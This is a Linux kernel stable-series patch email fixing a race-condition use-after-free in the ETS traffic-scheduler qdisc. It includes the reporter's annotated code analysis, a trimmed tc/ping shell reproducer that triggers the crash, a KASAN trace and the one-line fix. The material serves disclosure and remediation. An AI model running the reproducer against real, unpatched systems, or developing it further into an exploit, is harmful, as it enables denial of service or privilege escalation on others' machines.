[PATCH 6.12 047/567] net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

Greg Kroah-Hartman
2026-01-06T17:16:48Z

From: Jamal Hadi Salim <jhs@mojatatu.com>

[ Upstream commit ce052b9402e461a9aded599f5b47e76bc727f7de ]

zdi-disclosures@trendmicro.com says:

The vulnerability is a race condition between `ets_qdisc_dequeue` and
`ets_qdisc_change`. It leads to UAF on `struct Qdisc` object.
Attacker requires the capability to create new user and network namespace
in order to trigger the bug.
See my additional commentary at the end of the analysis.

Analysis:

static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,
struct netlink_ext_ack *extack)
{
...

// (1) this lock is preventing .change handler (`ets_qdisc_change`)
//to race with .dequeue handler (`ets_qdisc_dequeue`)
sch_tree_lock(sch);

for (i = nbands; i < oldbands; i++) {
if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
list_del_init(&q->classes[i].alist);
qdisc_purge_queue(q->classes[i].qdisc);
}

WRITE_ONCE(q->nbands, nbands);
for (i = nstrict; i < q->nstrict; i++) {
if (q->classes[i].qdisc->q.qlen) {
// (2) the class is added to the q->active
list_add_tail(&q->classes[i].alist, &q->active);
q->classes[i].deficit = quanta[i];
}
}
WRITE_ONCE(q->nstrict, nstrict);
memcpy(q->prio2band, priomap, sizeof(priomap));

for (i = 0; i < q->nbands; i++)
WRITE_ONCE(q->classes[i].quantum, quanta[i]);

for (i = oldbands; i < q->nbands; i++) {
q->classes[i].qdisc = queues[i];
if (q->classes[i].qdisc != &noop_qdisc)
qdisc_hash_add(q->classes[i].qdisc, true);
}

// (3) the qdisc is unlocked, now dequeue can be called in parallel
// to the rest of .change handler
sch_tree_unlock(sch);

ets_offload_change(sch);
for (i = q->nbands; i < oldbands; i++) {
// (4) we're reducing the refcount for our class's qdisc and
// freeing it
qdisc_put(q->classes[i].qdisc);
// (5) If we call .dequeue between (4) and (5), we will have
// a strong UAF and we can control RIP
q->classes[i].qdisc = NULL;
WRITE_ONCE(q->classes[i].quantum, 0);
q->classes[i].deficit = 0;
gnet_stats_basic_sync_init(&q->classes[i].bstats);
memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats));
}
return 0;
}

Comment:
This happens because some of the classes have their qdiscs assigned to
NULL, but remain in the active list. This commit fixes this issue by always
removing the class from the active list before deleting and freeing its
associated qdisc

Reproducer Steps
(trimmed version of what was sent by zdi-disclosures@trendmicro.com)

```
DEV="${DEV:-lo}"
ROOT_HANDLE="${ROOT_HANDLE:-1:}"
BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2
PING_BYTES="${PING_BYTES:-48}"
PING_COUNT="${PING_COUNT:-200000}"
PING_DST="${PING_DST:-127.0.0.1}"

SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"
SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"
SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"

cleanup() {
tc qdisc del dev "$DEV" root 2>/dev/null
}
trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \
tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2
tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \
>/dev/null 2>&1 &
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2
tc -s qdisc ls dev $DEV
tc qdisc del dev "$DEV" parent 1:2 || true
tc -s qdisc ls dev $DEV
tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 1 strict 1
```

KASAN report
```
==================================================================
BUG: KASAN: slab-use-after-free in ets_qdisc_dequeue+0x1071/0x11b0 kernel/net/sched/sch_ets.c:481
Read of size 8 at addr ffff8880502fc018 by task ping/12308
>
CPU: 0 UID: 0 PID: 12308 Comm: ping Not tainted 6.18.0-rc4-dirty #1 PREEMPT(full)
Hardware name: QEMU Ubuntu 25.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<IRQ>
__dump_stack kernel/lib/dump_stack.c:94
dump_stack_lvl+0x100/0x190 kernel/lib/dump_stack.c:120
print_address_description kernel/mm/kasan/report.c:378
print_report+0x156/0x4c9 kernel/mm/kasan/report.c:482
kasan_report+0xdf/0x110 kernel/mm/kasan/report.c:595
ets_qdisc_dequeue+0x1071/0x11b0 kernel/net/sched/sch_ets.c:481
dequeue_skb kernel/net/sched/sch_generic.c:294
qdisc_restart kernel/net/sched/sch_generic.c:399
__qdisc_run+0x1c9/0x1b00 kernel/net/sched/sch_generic.c:417
__dev_xmit_skb kernel/net/core/dev.c:4221
__dev_queue_xmit+0x2848/0x4410 kernel/net/core/dev.c:4729
dev_queue_xmit kernel/./include/linux/netdevice.h:3365
[...]

Allocated by task 17115:
kasan_save_stack+0x30/0x50 kernel/mm/kasan/common.c:56
kasan_save_track+0x14/0x30 kernel/mm/kasan/common.c:77
poison_kmalloc_redzone kernel/mm/kasan/common.c:400
__kasan_kmalloc+0xaa/0xb0 kernel/mm/kasan/common.c:417
kasan_kmalloc kernel/./include/linux/kasan.h:262
__do_kmalloc_node kernel/mm/slub.c:5642
__kmalloc_node_noprof+0x34e/0x990 kernel/mm/slub.c:5648
kmalloc_node_noprof kernel/./include/linux/slab.h:987
qdisc_alloc+0xb8/0xc30 kernel/net/sched/sch_generic.c:950
qdisc_create_dflt+0x93/0x490 kernel/net/sched/sch_generic.c:1012
ets_class_graft+0x4fd/0x800 kernel/net/sched/sch_ets.c:261
qdisc_graft+0x3e4/0x1780 kernel/net/sched/sch_api.c:1196
[...]

Freed by task 9905:
kasan_save_stack+0x30/0x50 kernel/mm/kasan/common.c:56
kasan_save_track+0x14/0x30 kernel/mm/kasan/common.c:77
__kasan_save_free_info+0x3b/0x70 kernel/mm/kasan/generic.c:587
kasan_save_free_info kernel/mm/kasan/kasan.h:406
poison_slab_object kernel/mm/kasan/common.c:252
__kasan_slab_free+0x5f/0x80 kernel/mm/kasan/common.c:284
kasan_slab_free kernel/./include/linux/kasan.h:234
slab_free_hook kernel/mm/slub.c:2539
slab_free kernel/mm/slub.c:6630
kfree+0x144/0x700 kernel/mm/slub.c:6837
rcu_do_batch kernel/kernel/rcu/tree.c:2605
rcu_core+0x7c0/0x1500 kernel/kernel/rcu/tree.c:2861
handle_softirqs+0x1ea/0x8a0 kernel/kernel/softirq.c:622
__do_softirq kernel/kernel/softirq.c:656
[...]

Commentary:

1. Maher Azzouzi working with Trend Micro Zero Day Initiative was reported as
the person who found the issue. I requested to get a proper email to add to the
reported-by tag but got no response. For this reason i will credit the person
i exchanged emails with i.e zdi-disclosures@trendmicro.com

2. Neither i nor Victor who did a much more thorough testing was able to
reproduce a UAF with the PoC or other approaches we tried. We were both able to
reproduce a null ptr deref. After exchange with zdi-disclosures@trendmicro.com
they sent a small change to be made to the code to add an extra delay which
was able to simulate the UAF. i.e, this:
qdisc_put(q->classes[i].qdisc);
mdelay(90);
q->classes[i].qdisc = NULL;

I was informed by Thomas Gleixner(tglx@linutronix.de) that adding delays was
acceptable approach for demonstrating the bug, quote:
"Adding such delays is common exploit validation practice"
The equivalent delay could happen "by virt scheduling the vCPU out, SMIs,
NMIs, PREEMPT_RT enabled kernel"

3. I asked the OP to test and report back but got no response and after a
few days gave up and proceeded to submit this fix.

Fixes: de6d25924c2a ("net/sched: sch_ets: don't peek at classes beyond 'nbands'")
Reported-by: zdi-disclosures@trendmicro.com
Tested-by: Victor Nogueira <victor@mojatatu.com>
Signed-off-by: Jamal Hadi Salim <jhs@mojatatu.com>
Reviewed-by: Davide Caratti <dcaratti@redhat.com>
Link: https://patch.msgid.link/20251128151919.576920-1-jhs@mojatatu.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/sched/sch_ets.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/sched/sch_ets.c b/net/sched/sch_ets.c
index 82635dd2cfa59..ae46643e596d3 100644
--- a/net/sched/sch_ets.c
+++ b/net/sched/sch_ets.c
@@ -652,7 +652,7 @@ static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,
sch_tree_lock(sch);

for (i = nbands; i < oldbands; i++) {
- if (i >= q->nstrict && q->classes[i].qdisc->q.qlen)
+ if (cl_is_active(&q->classes[i]))
list_del_init(&q->classes[i].alist);
qdisc_purge_queue(q->classes[i].qdisc);
}
--
2.51.0